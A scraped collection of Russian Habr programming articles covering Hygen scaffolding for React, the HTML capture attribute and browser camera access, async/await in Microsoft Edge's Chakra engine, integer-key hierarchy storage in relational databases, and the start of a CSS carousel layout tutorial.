const path = `${category}/${ dir ? `${dir}/` : `` }${component_name}`
const absPath = `src/components/${path}`
return { ...answers, path, absPath, category }
})
}
}
```
Это файл конфигурации для интерактивной подсказки, которая при запуске задает вам несколько вопросов. Вы можете настроить в этом файле всё, что захотите.
**prompt** получает данные ответа и возвращает их. Как я уже написал выше, они будут использованы в файле шаблона EJS.
В этом случае в EJS передаются **answers**, **path**, **absPath** и **category**.
Более подробное описание на [GitHub](https://github.com/jondot/hygen/blob/404e2350d153e3e1364c443aaa060b68f6212fc7/hygen.io/docs/generators.md).
### 5. Добавить скрипты в **package.json**
Теперь, когда мы готовы запустить Hygen, мы добавим скрипты в **package.json**:
```
"scripts": {
"start": "react-scripts start",
"build": "react-scripts build",
"test": "react-scripts test",
"eject": "react-scripts eject",
"new:component": "hygen new component" // Add here
},
```
Hygen автоматически сверяется со структурой папок и отображает ее. В этом случае мы должны передать **new component** в соответствии со структурой папок:
`.hygen
└── new
└── component`
Отлично, давайте попробуем!
Создадим компонент **Button**:
```
yarn new:component
```
Появится интерактивная подсказка, которая поможет с решением ваших вопросов:
Мы сгенерировали данные файлы в папку **src/components**:
`├── components
│ └── atoms
│ └── Button
│ ├── Button.stories.tsx
│ ├── Button.tsx
│ ├── __tests__
│ │ └── Button.test.tsx
│ ├── index.tsx
│ └── style.module.css`
### Заключение
На этом всё! Мы рассмотрели, как автоматизировать задачи разработки на React с помощью Hygen. Конечно, вы можете применить его и к другим проектам, используя Vue.js или Angular.
Hygen довольно гибок, поэтому вы можете настроить подсказки и шаблоны под любые свои потребности.
Итак, [здесь](https://github.com/manakuro/hygen-example-with-react) доступна окончательная кодовая база. Она также содержит и настройку Storybook.
Надеюсь, эта статья поможет вам найти вдохновение. Удачи! | https://habr.com/ru/post/534686/ | null | ru | null |
# Видеосъёмка из браузера. HTML-код, который включает камеру на смартфоне
Современные стандарты HTML и JavaScript дают разработчикам мощные инструменты для работы со смартфоном через браузер. Мы уже рассказывали о [трекинге движений человека по гироскопу/акселерометру с распознаванием паттернов](https://habr.com/ru/company/globalsign/blog/597583/) (ходьба, бег, общественный транспорт, нахождение рядом с другим пользователем с аналогичными паттернами) на веб-странице.
Это далеко не единственная такая функция. Например, в мобильных браузерах поддерживается HTML-атрибут , который начинает видеосъёмку на смартфоне просто по нажатию кнопки на веб-странице.
Включение камеры
----------------
Согласно [таблице](https://caniuse.com/html-media-capture), атрибут поддерживается практически всеми популярными мобильными браузерами, кроме Opera Mini. В десктопных браузерах поддержка логично отсутствует, поскольку функция ориентирована конкретно на использование в смартфонах.
Атрибут указывает на запись нового файла (по кнопка выбора файла) и определяет устройство, которое используется для захвата контента. Тип контента определён атрибутом . Значение `user` означает обращённую к пользователю камеру и/или микрофон, а значение `environment` — фронтальную.
Пример использования из [документации](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/capture):
```
Как звучит ваш голос?
Загрузить своё видео:
Загрузить своё фото:
```
**[Демо](https://simpl.info/mediacapture/)** (по нажатию кнопки на десктопе открывается диалог выбора файла, а на смартфоне начинается видеозапись)
Логично, что у пользователя не спрашивают разрешение на запись. Во-первых, он должен явно нажать кнопку на веб-странице, на которой написано «Загрузить видео» или «Загрузить фото», после чего начинается фото/видеосъёмка без дополнительных вопросов. Во-вторых, файл сохраняется локально на устройстве пользователя. В-третьих, пользователь явно на экране смартфона видит, что идёт съёмка — и потом должен нажать ещё одну кнопку, чтобы остановить видеозапись и подтвердить результат.
Поэтому телефон и не запрашивает разрешение для веб-страницы на начало записи. Хотя некоторые специалисты по безопасности считают, что реализация оставляет почву для злоупотреблений. В частности, надпись на кнопке может быть ложной. Так что пользователь нажмёт её случайным образом или его подтолкнут к нажатию с помощью обмана.
Сейчас появляется всё больше сайтов, которые делают потрясающие вещи в браузере, захватывая видео через веб-страничку. Для наложения фильтров на видеопоток в реальном времени, видеоконференций, распознавания речи теперь не требуются нативные приложения. Всё это можно делать в браузере на устройстве пользователя. Например, видеопоток можно захватывать и преобразовывать на лету средствами [JavaScript MediaDevices API](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices) прямо в браузере, см. [демо](https://nega.radioac.dev/) (скриншот на КДПВ).
Другой пример — веб-сайт [Critter Camera](https://app.critter.camera/), который превращает любой смартфон (или компьютер) в камеру наблюдения с детектором движения. То есть его можно оставить на ночь — и браузер сохранит фото, если в комнате произойдёт какое-то движение. Никакая информация не отправляется в интернет, всё хранится в локальном хранилище браузера.
Конечно, функции видеосъёмки «из браузера» добавляют удобства и расширяют функциональность веб-приложений, а пользователя лучше не раздражать лишними запросами на получение разрешений.
В этом есть определённый смысл. Известно, что слишком частые запросы на теряют эффективность — и пользователь начинает разрешать всё подряд без вдумчивого прочтения (принцип действует аналогично баннерной слепоте). Поэтому предупреждений безопасности не должно быть слишком много.
Запись без разрешения
---------------------
С другой стороны, если пренебрегать запросами на получение разрешений — то возможны злоупотребления. Например, недавно пользователи пожаловались, что бот для распознавания речи Otter.ai [записывает конференции Zoom без согласия участников](https://news.ycombinator.com/item?id=32751071), в то время как по закону для записи приватного разговора нужно получить согласие всех участников.
*Бот Otter Assistant подключается ко всем видеоконференциям Zoom в вашем календаре и автоматически публикует текстовые расшифровки*
Как можно понять по комментариям, видеозапись видеоконференций происходит после активации функции автоматического распознавания речи у *одного* из участников чата. После этого речь остальных распознаётся и сохраняется автоматически даже без их согласия. Вероятно, кто-то перепутал согласие на *запись разговора* и согласие на *получение расшифровки*.
Сама функция «виртуального ассистента» очень полезная, поскольку позволяет виртуально присутствовать на множестве созвонов — и быстро сканировать текстовое содержание разговоров, что сильно экономит время.
Однако число таких злоупотреблений может расти, если не ограничить их технически, то есть по умолчанию не требовать явного разрешения пользователя. Некоторые разработчики допускают подобные погрешности не из вредоносных побуждений, а просто по незнанию.
Настройки по умолчанию — это зачастую своеобразный компромисс между удобством и безопасностью. В данном случае кажется, что удобство перевешивает.
---
Зачем разработчики используют сертификаты подписи кода для цифровой подписи приложений и программ читайте [здесь](https://www.globalsign.com/ru-ru/code-signing-certificate).
[](https://www.globalsign.com/ru-ru/code-signing-certificate) | https://habr.com/ru/post/692276/ | null | ru | null |
# Упрощение асинхронного кода на JavaScript с внедрением асинхронных функций из ES2016
Хотя мы еще продолжаем [работу над внедрением поддержки ES6/2015](http://blogs.windows.com/msedgedev/2015/05/12/javascript-moves-forward-in-microsoft-edge-with-ecmascript-6-and-beyond/), команда Chackra также смотрит за пределы ES2016 и, в частности, на [асинхронные функции](https://dev.modern.ie/platform/status/asyncfunctionses2016/). Мы рады объявить об экспериментальной поддержке async-функций в Microsoft Edge, начиная со сборки [Microsoft Edge (EdgeHTML 13.10547)](https://dev.modern.ie/platform/changelog/desktop/10547/).
Асинхронные функции в ES7/ES2016
--------------------------------
Ключевые слова **async** и **await**, как часть предложения по внедрению асинхронных функций, нацелены на упрощение написания асинхронного кода. Это одна из ключевых возможностей современного C# и [часто запрашиваемая опция со стороны JavaScript-разработчиков](https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/8511262-es7-async-await). До введения асинхронных функций и промисов (promise) JS-разработчику приходилось оборачивать весь асинхронный код в отдельные от синхронного кода функции и использовать функции обратного вызова (callback) для работы с результатом асинхронного вычисления. Такой код довольно быстро становится трудно читать и поддерживать.
[Промисы](https://msdn.microsoft.com/library/dn802826(v=vs.94).aspx) из ES, пройдя через стандартизацию и получая все большую прямую поддержку в браузерах, помогли улучшить способ написания асинхронного кода, но не решили проблему полностью, так как потребность в написании функций обратного вызова никуда не исчезла.
Асинхронные функции базируются на промисах и позволяют сделать следующий шаг. Когда вы добавляете ключевое слово *async* к функции или стрелочной функции, она автоматически будет возвращать промис. К примеру, следующий код – это типовая программа на ES2015, делающая http-запрос с помощью промисов:
```
// ES6 code, without async/await
function httpGet(url) {
return new Promise(function (resolve, reject) {
// do the usual Http request
var request = new XMLHttpRequest();
request.open('GET', url);
request.onload = function () {
if (request.status == 200) {
resolve(request.response);
} else {
reject(Error(request.statusText));
}
};
request.onerror = function () {
reject(Error('Network Error'));
};
request.send();
});
}
function httpGetJson(url) {
return new Promise(function (resolve, reject) {
// check if the URL looks like a JSON file and call httpGet.
var regex = /\.(json)$/i;
if (regex.test(url)) {
// call the promise, wait for the result
resolve(httpGet(url).then(function (response) {
return response;
}, function (error) {
reject(error);
}));
} else {
reject(Error('Bad File Format'));
}
});
}
httpGetJson('file.json').then(function (response) {
console.log(response);
}).catch(function (error) {
console.log(error);
});
```
Если мы перепишем этот же код, сохранив его поведение, с помощью асинхронных функций, то результат будет компактнее и проще считываться. Код ниже также включает небольшой рефакторинг в части обработки ошибки (обратите внимание на функцию httpGetJson):
```
// ES7 code, with async/await
function httpGet(url) {
return new Promise(function (resolve, reject) {
// do the usual Http request
let request = new XMLHttpRequest();
request.open('GET', url);
request.onload = function () {
if (request.status == 200) {
resolve(request.response);
} else {
reject(Error(request.statusText));
}
};
request.onerror = function () {
reject(Error('Network Error'));
};
request.send();
});
}
async function httpGetJson(url) {
// check if the URL looks like a JSON file and call httpGet.
let regex = /\.(json)$/i;
if (regex.test(url)) {
// call the async function, wait for the result
return await httpGet(url);
} else {
throw Error('Bad Url Format');
}
}
httpGetJson('file.json').then(function (response) {
console.log(response);
}).catch(function (error) {
console.log(error);
});
```
Ключевое слово *async* также работает со [стрелочными функциями ES6](https://msdn.microsoft.com/library/yh6c50h7(v=vs.94)), достаточно просто добавить ключевое слово перед аргументами. Вот небольшой пример:
```
// call the async function, wait for the result
let func = async () => await httpGet(url);
return await func();
```
Итого:
* Используйте ключевое слово *async* при определении любой функции или стрелочной функции, чтобы получить асинхронный код с промисом. Это включает также функции в классах и статичные функции. В последнем случае ключевое слово *async* нужно указывать после слова *static* и, соответственно, перед именем функции.
* Используйте ключевое слово *await*, чтобы ход выполнения дождался завершения async-выражения (к примеру, вызова *async*-функции) и получило значение из промиса.
* Если вы не используете ключевое слово *await*, вы получите сам промис.
* Вы не можете использовать ключевое слово *await* вне *async*-функции, в том числе его нельзя использовать в глобальном пространстве.
Как это реализовано в Chakra?
-----------------------------
В одной из предыдущих статей мы [обсуждали архитектуру движка Chakra](http://blogs.msdn.com/b/ie/archive/2014/10/09/announcing-key-advances-to-javascript-performance-in-windows-10-technical-preview.aspx), используя диаграмму, представленную ниже. Части, потребовавшие наибольших изменений для поддержки асинхронных функций отмечены зеленым.
### Глобальное поведение
Использование ключевого слова *async* генерирует конструктор промиса, который, в соответствии со спецификацией, является оберткой вокруг содержимого функции. Для выполнения этого действия, генератор байт-кода Chakra формирует вызов встроенной функции, реализующей следующее [поведение](http://tc39.github.io/ecmascript-asyncawait#desugaring):
```
function spawn(genF, self) {
return new Promise(function (resolve, reject) {
var gen = genF.call(self);
function step(nextF) {
var next;
try {
next = nextF();
} catch (e) {
// finished with failure, reject the promise
reject(e);
return;
}
if (next.done) {
// finished with success, resolve the promise
resolve(next.value);
return;
}
// not finished, chain off the yielded promise and `step` again
Promise.resolve(next.value).then(function (v) {
step(function () { return gen.next(v); });
}, function (e) {
step(function () { return gen.throw(e); });
});
}
step(function () { return gen.next(undefined); });
});
}
```
Порождающая функция, приведенная выше, спроектирована так, чтобы обработать все *async*-выражения в теле функции и решить, нужно ли продолжить или остановить процесс в зависимости от поведения внутри *async*-функции. Если *async*-выражение, вызванное с ключевым словом *await*, проваливается, например, вследствие возникновения ошибки внутри *async*-функции или в целом ожидаемого выражения, то промис возвращает отказ, который можно обработать выше по стеку.
Далее движок должен вызвать порождающую функцию из JS-скрипта, чтобы получить промис и выполнить содержимое функции. Чтобы это сделать, когда парсер находит ключевое слово async, движок изменяет AST (абстрактное синтаксическое дерево), представляющее алгоритм, чтобы добавить вызов spawn-функции с телом целевой функции. Как следствие, функция httpGetJson из примера выше конвертируется парсером примерно следующим образом:
```
function httpGetJson(url) {
return spawn(function* () {
// check if the URL looks like a JSON file and call httpGet.
var regex = /\.(json)$/i;
if (regex.test(url)) {
// call the async function, wait for the result
return yield httpGet(url);
} else {
throw Error('Bad Url Format');
}
}, this);
}
```
Обратите внимание на использование [генераторов](https://msdn.microsoft.com/en-us/library/Dn858237(v=VS.94).aspx) и ключевого слова *yield* для реализации поведения ключевого слова *await*. На самом деле, реализация поддержки ключевого слова *await* очень похожа на работу с ключевым словом *yield*.
### Поведение с аргументом по умолчанию
Одна из новых возможностей ES6 – это установка значения по умолчанию для аргумента функции. Когда используется значение по умолчанию, генератор байт-кода установит это значение в начале тела функции.
```
// original JavaScript code
function foo(argument = true) {
// some stuff
}
// representation of the Bytecode Generator's output in JavaScript
function foo(argument) {
argument = true;
// some stuff
}
```
В случае использования ключевого слова *async*, если значение по умолчанию приводит к возникновению ошибки (исключения), спецификация требует отказать в выполнении промиса. Это позволяет с легкостью отлавливать исключения.
Чтобы реализовать это в Chakra, у команды был выбор из двух вариантов: изменить AST, или реализовать такое поведение напрямую в генераторе байт-кода. Мы выбрали второе и передвинули инициализацию аргументов в начало тела функции напрямую в байт-коде, так как это более простое и понятное решение в рамках нашего движка. Так как для перехвата ошибок из значения по умолчанию нужно было добавить блок *try/catch*, то нам было проще напрямую изменить байт-код при обнаружении ключевого слова async.
Наконец, сгенерированный байт-код будет напоминать результат, создаваемый для такого кода на JavaScript:
```
// representation of the Bytecode Generator's output in JavaScript
function foo(argument) {
try {
argument = true;
} catch (error) {
return Promise.reject(error);
}
return spawn(function* () { // keep this call as we are in an async function
// some stuff
}, this);
}
```
Как включить поддержку асинхронных функций Microsoft Edge?
----------------------------------------------------------
Чтобы включить экспериментальную поддержку асинхронных функций в Microsoft Edge, перейдите на страницу *about:flags* в Microsoft Edge и выберите опцию “Enable experimental JavaScript features”, как показано ниже:
Асинхронные функции доступны в превью-режиме в рамках [программы Windows Insider](https://insider.windows.com/), начиная со сборки [Microsoft Edge 13.10547](https://dev.modern.ie/platform/changelog/desktop/10547/). Будем рады услышать ваши отзывы по использованию данной функциональности в вашем коде в нашем Twitter [@MSEdgeDev](http://twitter.com/msedgedev) или через [Connect](http://connect.microsoft.com/ie).
– [Etienne Baudoux](https://twitter.com/VelerSoftware), Software Development Engineer Intern, Chakra Team
– [Brian Terlson](https://twitter.com/bterlson), Senior Program Manager, Chakra Team | https://habr.com/ru/post/269871/ | null | ru | null |
# Степени — ключ к быстрой иерархии в реляционной БД
После публикации на Хабре [своей первой статьи](http://habrahabr.ru/post/165713/), об одном из способов организации иерархии в реляционной БД, у меня осталось чувство не доведенного до конца дела.
Судя по комментариям, кто-то принимал предложенный метод за другой, спрашивали чем не устраивает “django-mttp”, рассказывали о поддержке деревьев в PostgreSQL…
Спасибо всем отписавшимся, но из-за сумбурного изложения в самой статье, думаю, что я не сумел донести до читателя то, что хотел. А “если я чего решил, то выпью обязательно”(с)
Поэтому, я решился на еще одну попытку изложения интересующего меня подхода. А именно — хранение иерархии в **числовом коде**, вычисляемом на основании данных о размерности дерева. То есть, заранее определены максимальные количество Уровней и количество Детей у каждого Родителя (возможные диапазоны достаточно велики, поэтому, заранее пугаться этого не стоит). При таких вводных, код, каждого иерархического элемента, будет являться и путем до него, и включать диапазон всех Детей. А это сулит скорость, и много еще чего…
Далее — с картинками и таблицами, без привязки к какой-либо БД (ибо это не важно).
#### Методы хранения иерархии
Описание и сравнение наиболее распространенных методов реализации иерархии в реляционных БД можно найти в прекрасных статьях Михаила Стадника aka Mikhus:
[Иерархические структуры данных и Doctrine](http://habrahabr.ru/post/46659/)
[Иерархические структуры данных и производительность](http://habrahabr.ru/post/47280/)
Кто еще не читал но интересуется данным вопросом — рекомендую. Доступное изложение и богатый примерами текст, избавляют меня от необходимости все пересказывать (тем более так хорошо у меня точно не получится).
Для вступления, по моему, уже достаточно, поэтому перехожу к сути вопроса.
#### Описание дерева
Итак, мне таки понадобилось однажды хранить иерархию. Изначально был выбран незамысловатый и простой в реализации метод хранения ключа в строке. То есть, части дерева выглядят, примерно, так:
Рис.1
Предполагалось иметь две таблицы — Группы и Элементы (сейчас не важно чего). Иерархическая таблица с Группами относительно(!) небольшая и изменяется редко. Таблица с Элементами, напротив, допускает большое их количество и активно правится, точнее больше растет. И еще более активно из нее происходят выборки в границах Групп, определенных в первой таблице.
Я умышленно не пускаюсь в пространные описания выбранного метода, в его обоснованность, предназначение БД и всего приложения. Это не принципиально для моего сегодняшнего повествования. (к тому же предложенный мной далее метод можно будет использовать и при работе с одной таблицей)
Таблица — Группы
1. `ID` — Char
2. `PARENT` — Char — Ссылка на ID
…
Таблица — Элементы
1. `ID` — Integer
2. `GROUP` — Char — Ссылка на ID в таблице Групп
….
Такой подход работает. Плохо или хорошо, другой вопрос. Надо помнить, что всегда есть плюсы и минусы. Для предполагаемого приложения мне такой метод подходил.
После некоторых размышлений, мне пришло в голову, что символьные строки вполне можно заменить на ключи целого типа (Да! это будет работать быстрее, и занимать меньше места, и проще реализовать, и просто — выглядит красиво...). Главное обеспечить не пересекающиеся вложенные диапазоны. Почему нет?
Далее речь пойдет только об одной таблице — иерархической.
Первоначально я попробовал изобразить все дерево кодами в двоичной системе. Получилось. Поняв суть, нарисовал небольшое дерево с 3-я уровнями и 3-я возможными Детьми у каждого Элемента. Выглядело это так (система, конечно, десятичная):
Рис.2
Смотрится конечно не привычно.
Цифры сверху — показывают размер таблицы, для удобства, слева — Уровни.
Каждое число это ID Элемента (жирным).
Дети у Элемента — внизу и справа до следующего Элемента на том же уровне. Например, Дети у Элемента=16 это диапазон `16
На Рис.2 уже полностью заполненное дерево, чтобы было наглядно.
Вот кусочек дерева в более традиционном представлении:
Рис.3
На этом рисунке, сходу уловить периодику труднее, да и дерево всё не видно. Поэтому подпишу слева еще один столбик, который нам поможет далее, и покажу дерево в более “нативном” виде:
Рис.4
Очень легко заметить зависимости.
В любом Элементе — есть степень 4-ки, то есть `(ДопустимоеКоличествоДетей + 1)`.
На самом верхнем,1-м уровне, это `4^2`, на 2-м — `4^1`, на 3-м — `4^0`.
Другими словами, `(ДопустимоеКоличествоДетей + 1)` надо возводить в степень равную `(ДопустимоеКоличествоУровнейВДереве - ТекущийУровеньНовогоЭлемента)`. Нужная степень и указана в “красном” столбике. Но не просто надо возводить, а еще и прибавлять к Родителю столько раз, каким по счету ребенком он является.
Для разнообразия, покажу таблицу для дерева, с количеством Уровней=4 и Детей=2:
Рис.5
По аналогии вы сами уже сможете понять, какое здесь основание и степень.
Если есть затруднения, маленький пример по Рис.5…
Допустим, имеем Элемент с кодом `27`. Детей еще нет.
Чтобы получить 1-го Ребенка, надо:
`27 + ((2+1)^2) * 1 = 36`
Чтобы получить 2-го Ребенка:
`27 + ((2+1)^2) * 2 = 45`
и т.д. и т.п…
Вот, собственно, и всё. Остальное дело техники.
#### Вычисление id нового Ребенка
Если дерево заполнено, то оно самодостаточно. То есть, зная его размерность, мы можем по `ID` вычислить УровеньЭлемента и его место в Родительском узле.
Но нам только предстоит создавать дерево, причем без лишних запросов к БД.
Поэтому я ввел поле COUNT\_CHILDS, чтобы можно было взять следующий свободный ID для Ребенка.
Так же для вычисления ID, понадобится знать текущий УровеньРодителя. Дополнительных запросов это не потребует (добавляя нового Ребенка мы “находимся” на Родителе), поэтому я добавил поле LEVEL. Уровень можно и вычислить, кому интересно, без труда это смогут сделать. Но я просто ввел дополнительное поле.
В итоге имеем такую иерархическую структуру таблицы:
`ID` — Integer
`PARENT` — Integer — ссылка на ID
`LEVEL` — Integer
`COUNT_CHILDS` — Integer
Пусть размерность Дерева будем обозначать:
`LV` — Количество Уровней
`CH` — Количество Детей у одного Родителя
`id` — Вычисляемый код Ребенка
Тогда, имея данные о Родителе, очередного Ребенка можем получить:
`id = ((CH+1)^(LV-LEVEL-1)) * (COUNT_CHILDS+1) + ID`
#### Ограничения
Все это хорошо, но целые числа не безграничны, и имеют вполне определенный диапазон. Например `int32` может хранить `2^32=4 294 967 296` значений. Как это может повлиять на возможность применения этого метода?
Ответ — как всегда, всё зависит от текущей задачи. Но, смею предположить, для большинства задач, хватит.
Максимальное необходимое значение ключа, для хранения Элементов в такой структуре, можно найти по формуле:
`(КоличествоДетей+1)^КоличествоУровней`
Например, для 6-ти Уровней, при int32, можно позволить себе 39 Детей.
`(39+1)^6 = 4 096 000 000`
Как раз такое количество меня устраивало.
Меньше Уровней — будет больше Детей, и наоборот. Кому интересно — считайте сами, если результат меньше, чем максимальное допустимое у вас целое, то всё нормально.
Применения `int64` значительно расширяет допустимые рамки. В этом случае для 6-ти Уровней доступны уже 1624 Ребенка. Скорость работы же с такими ключами замедлится не сильно (иногда и не замедлится вовсе).
#### Отряд не заметил потери бойца
Внимательный читатель увидит, что самый “левый” диапазон, пропадает для использования.
Например, в дереве, на Рис.2, не задействован диапазон чисел от 0 до 16. Можно, конечно, помудрить с начальным элементом (о нем речь далее) в алгоритмах. Но я не стал — хватает.
#### Начальный элемент
Для того, чтобы все это работало, в БД необходимо внести начальный элемент Дерева. Именно от него начнется “отсчет”. Я просто вношу его “руками” в таблицу. Как это будете делать вы — не важно, главное чтобы было понимание что делаете и зачем.
Итак, для всех, приведенных выше, иллюстраций, начальный элемент будет таким:
`ID = 0`
`PARENT = 0`
`LEVEL = 0`
`COUNT_CHILDS = 0`
Да, он не сверху, как принято это изображать. Он как бы “слева”. Но такой подход — работает, а это главное.
#### Знак ничего не меняет
Не все БД позволяют хранить беззнаковое целое. Но это абсолютно не влияет на алгоритмы. Как на вычисление нового Элемента, так и на выборку вложенных.
Вот наш пример, на котором Дерево «сдвинуто» в отрицательный диапазон:
Рис. 6
Для этого примера, начальный Элемент надо сделать таким:
`ID = -32`
`PARENT = -32`
`LEVEL = 0`
`COUNT_CHILDS = 0`
32-х разрядное целое позволяет хранить от -2 147 483 647 до 2 147 483 648
Хотим по “максимуму”, 6 Уровней при 39 Детях у каждого элемента.
Тогда получаем начальный `id=-((39+1)^6)/2`, и вручную в БД (или как захотите) вносим Группу со следующими значениями:
`ID = -2,048,000,000`
`PARENT = -2,048,000,000`
`LEVEL = 0`
`COUNT_CHILDS = 0`
Все будет работать так же хорошо.
#### Реализации алгоритма
Возможно, данный метод уже кем-то описывался и воплощался в жизнь.
Я, по причине своей темности, к сожалению, не читал. Все «выдумывал» сам.
В конце этой статьи, я дам ссылку на код, в котором работает весь механизм: вставка, перенос, удаление.
Далее описание ключевых моментов в алгоритмах.
##### Вставка нового элемента
Размерность дерева
`CH` — Допустимое количество Детей у каждого Элемента
`LV` — Допустимое количество Уровней в Дереве
Повторюсь, с этим надо определиться заранее.
Имеем запись о Родителе
`ID` — Integer
`PARENT` — Integer — ссылка на ID
`LEVEL` — Integer
`COUNT_CHILDS` — Integer
Тогда получить нового Ребенка можно по формуле:
`id = ((CH+1)^(LV-LEVEL-1)) * (COUNT_CHILDS+1) + ID`
Вставку не делаем, если Родитель не может [более] иметь Детей.
##### Перенос Элемента со всеми Детьми под другого Родителя
На самом деле все проще простого.
При переносе делаем изменения полей записи: id, parent, level, у самого элемента, и у всех возможных Детей. Делается все одним запросом.
Нам нужно:
1. Переносимый Элемент — `K`, конечно он у нас есть
2. Родитель — `P`, аналогично
3. НовыйРодитель — `NP`, это мы так же имеем
4. ДопустимоеКоличествоДетейВДереве -`CH`, оно у нас есть всегда — константа
5. Разница в уровнях — `dL`, вычисляется из уже имеющихся данных
Имея перечисленное, просто делаем UPDATE к элементу и ко всем его возможным детям, вычисляя новые ID по формуле:
`Id = (K-P)*(CH+1)^dL+NP`
Поле PARENT вычисляется аналогично, поле LEVEL меняем согласно dL.
Вот ключевой кусок из кода на django:
```
x_tmp = Group.objects.filter(id__gte=oldElement.id)
.filter(id__lt = limit_right)
.update(
id=((F('id')-id_departure)*((CH+1)**delta_level) + id_destination),
parent = ((F('parent')-id_departure)*((CH+1)**delta_level) + id_destination),
level = (F('level')-delta_level)
)
```
Перенос не делаем, если:
1. Новый Родитель не может [более] иметь Детей…
2. или… У переносимого Элемента есть Дети, которые окажутся “ниже” допустимого Уровня в Дереве. Такая ситуация возникнет только при переносе “вниз”. Как Вы ее обработаете, просто запретите перенос такого Элемента, или “обрежете” Детей до допустимого уровня — вам решать. Я перенос такого Элемента не делаю.
##### Удаление
Удаляю только Элемент, у которого нет Детей
При удалении элемента — уменьшаем КоличествоДетей у Родителя
Даже более написать нечего.
##### Вырыл яму — засыпай
Дети у каждого Родителя, представляют собой последовательность.
Может возникнуть ситуация, когда, в результате удаления или переноса, в этой последовательности образуется “дырка”. При наличии большого количества допустимых Детей, можно на это и забить. Но это не правильно. Поэтому, при удалении или переносе, необходимо отлавливать такие случаи и “переносить” на освободившееся место крайнего правого Ребенка.
Алгоритм здесь — частный случай вышеописанного Переноса. Только проще.
#### Область применения
Везде, где не нужна бесконечная иерархия.
~~а когда она нужна в прикладных повседневных задачах?~~
Минусы:
— Ограничение на количество Детей у Группы
— Ограничение на количество Уровней в Дереве
Некоторые варианты сочетания Детей и Групп для int32 и int64:
Рис.7
Может быть, гладя на эти цифры, кто-то решит, что не все уж так и плохо…
Плюсы:
— Скорость работы
— Небольшой объем данных
— Почти всегда можно обойтись одним запросом к диапазону ключей
— Простота реализации
Спасибо, что уделили внимание.
Извиняюсь за возможные ошибки и опечатки.
Буду благодарен за любые комментарии.
*UPD 09.10.2015
Написал приложение treensl для Django (django-treensl).
Исходники [github.com/EvgeniyBurdin/django\_treensl](https://github.com/EvgeniyBurdin/django_treensl)
Логика работы с первичным ключом вынесена в БД.
Пока реализовано только для PostgreSQL 9.1 и выше.*` | https://habr.com/ru/post/166699/ | null | ru | null |
# Создаем эффективные стили для каруселей
Эта статья не о дизайне эффективных каруселей, а об эффективном создании стиля. Другими словами, речь пойдет не о UI-дизайне, а о конструкциях CSS – смене элементов карусели, их позиционировании и размерах.
**Зависимость от JavaScript с точки зрения взаимодействия, а не стиля**
«Эффективная карусель» — это карусель, которая не зависит от JavaScript с точки зрения:
• отзывчивости
• содержания любого количества элементов
• отображения любого количества элементов
#### Вызов
Существует множество способов отображения элементов в карусели типа «side-by-side» (в ряд), однако некоторые из этих способов лучше других.
**Используем float**
Карусель на сайте [disneystore.com](http://disneystore.com) демонстрирует два основных ограничения такого стиля:
• контейнер должен иметь ширину большую или равную сумме ширины дочерних элементов (их наружной рамки), чтобы отображать все элементы в ряд (чтобы избежать их сползания).
• ширину элементов невозможно указать в процентном соотношении, так как размер блока (рамки, которая используется в качестве основы для расчета этой ширины) привязан к количеству его дочерних элементов, а не к видимой области карусели.
Чтобы лучше понять проблему, посмотрите на следующий пример:
```
* 1
* 2
* 3
* 4
* 5
ul {
border: 5px solid deeppink;
overflow: hidden; /* должен содержать поплавки*/
}
li {
border: 1px solid #fff;
background: #3CB371;
width: 100px;
height: 100px;
float: left;
}
```
Вышеуказанный список включает пять элементов – все оформленные с помощью элемента float. Сам по себе список создан с помощью overflow:hidden (чтобы создать контекст форматирования блока), поэтому список выравнивает поплавки вместо того, чтобы схлопнуться.
Здесь проблема заключается в том, что элементы сползают, если их контейнер имеет недостаточную ширину, чтобы вмещать все эти элементы в ряд, как показано ниже:
```
ul {
overflow: hidden; /* должен содержать поплавки */
width: 450px;
}
li {
float: left;
}
```
Поэтому это решение требует установки точной ширины контейнера, которая не даст этому контейнеру быть отзывчивым (без необходимости JavaScript).
**Используем position:absolute**
В каруселях как на сайте on.aol.com все элементы удалены с потока, поэтому каждый из них зависит от отдельного значения смещения, отображаясь сразу после предыдущего своего собрата.
Посмотрите на еще один пример:
```
ul {
height: 100px; /* предотвращает нарушение контейнера */
}
li {
position: absolute;
}
```
Так как все рамки имеют абсолютное позиционирование, они удаляются с потока и размещаются на одних и тех же координатах x/y; последняя рамка показывает верх стопки.
В результате, авторам нужно сделать 3 вещи:
• оформить контейнер с помощью элемента height, чтобы предотвратить смещение вверх последующих элементов (за рамки).
• оформить каждую рамку со смещением влево (left ), чтобы отобразить элементы в ряд.
• оформить контейнер с помощью элемента position:relative, чтобы превратить его в блок, содержащий дочерние элементы.
Одинаковые рамки создаются следующим образом:
```
ul {
height: 100px; /* предотвращает нарушение контейнера */
position: relative; /* делает этот контейнер блоком, содержащим вложенные рамки AP */
}
li {
position: absolute;
}
li:nth-child(2) {
left: 100px; /* ширина + левая/правая граница первой рамки */
}
li:nth-child(3) {
left: 200px; /* ширина + левая/правая граница предыдущих рамок */
}
li:nth-child(4) {
left: 300px; /* ширина + левая/правая граница предыдущих рамок */
}
li:nth-child(5) {
left: 400px; /* ширина + левая/правая граница предыдущих рамок */
}
```
Именно так выполнена карусель на сайте [aol.com](http://aol.com), и все смещения там указаны в пикселях. Но интересно то, что ширина (width) контейнера задана таким же образом, как и в нашем примере с float. Контейнер оформлен таким образом, чтобы иметь ту же ширину, что и суммарная ширина всех его дочерних элементов – даже несмотря на использование position:absolute он позволяет авторам использовать более простой подход, который улучшает характеристики блоков контейнера.
В отличие от конструкций float, ширина (width) контейнера не играет роли в позиционировании вложенных рамок. Это означает, что можно использовать процентное соотношение для отображения элементов в полную ширину (100%) или в качестве части их контейнера (блока, в котором они содержатся); например, оформление каждой рамки с соотношением 50% покажет 2 элемента в ряд, как показано ниже:
```
ul {
height: 100px; /* предотвращает нарушение контейнера */
position: relative; /* делает этот контейнер блоком, содержащим вложенные рамки AP */
width: 30%;
}
li {
position: absolute;
width: 50%;
}
li:nth-child(2) {
left: 50%; /* ширина + левая/правая граница первой рамки */
}
li:nth-child(3) {
left: 100%; /* ширина + левая/правая граница предыдущих рамок */
}
li:nth-child(4) {
left: 150%; /* ширина + левая/правая граница предыдущих рамок */
}
li:nth-child(5) {
left: 200%; /* ширина + левая/правая граница предыдущих рамок */
}
ul {
height: 100px; /* предотвращает нарушение контейнера */
position: relative; /* делает этот контейнер блоком, содержащим вложенные рамки AP */
width: 30%;
}
li {
position: absolute;
width: 50%;
}
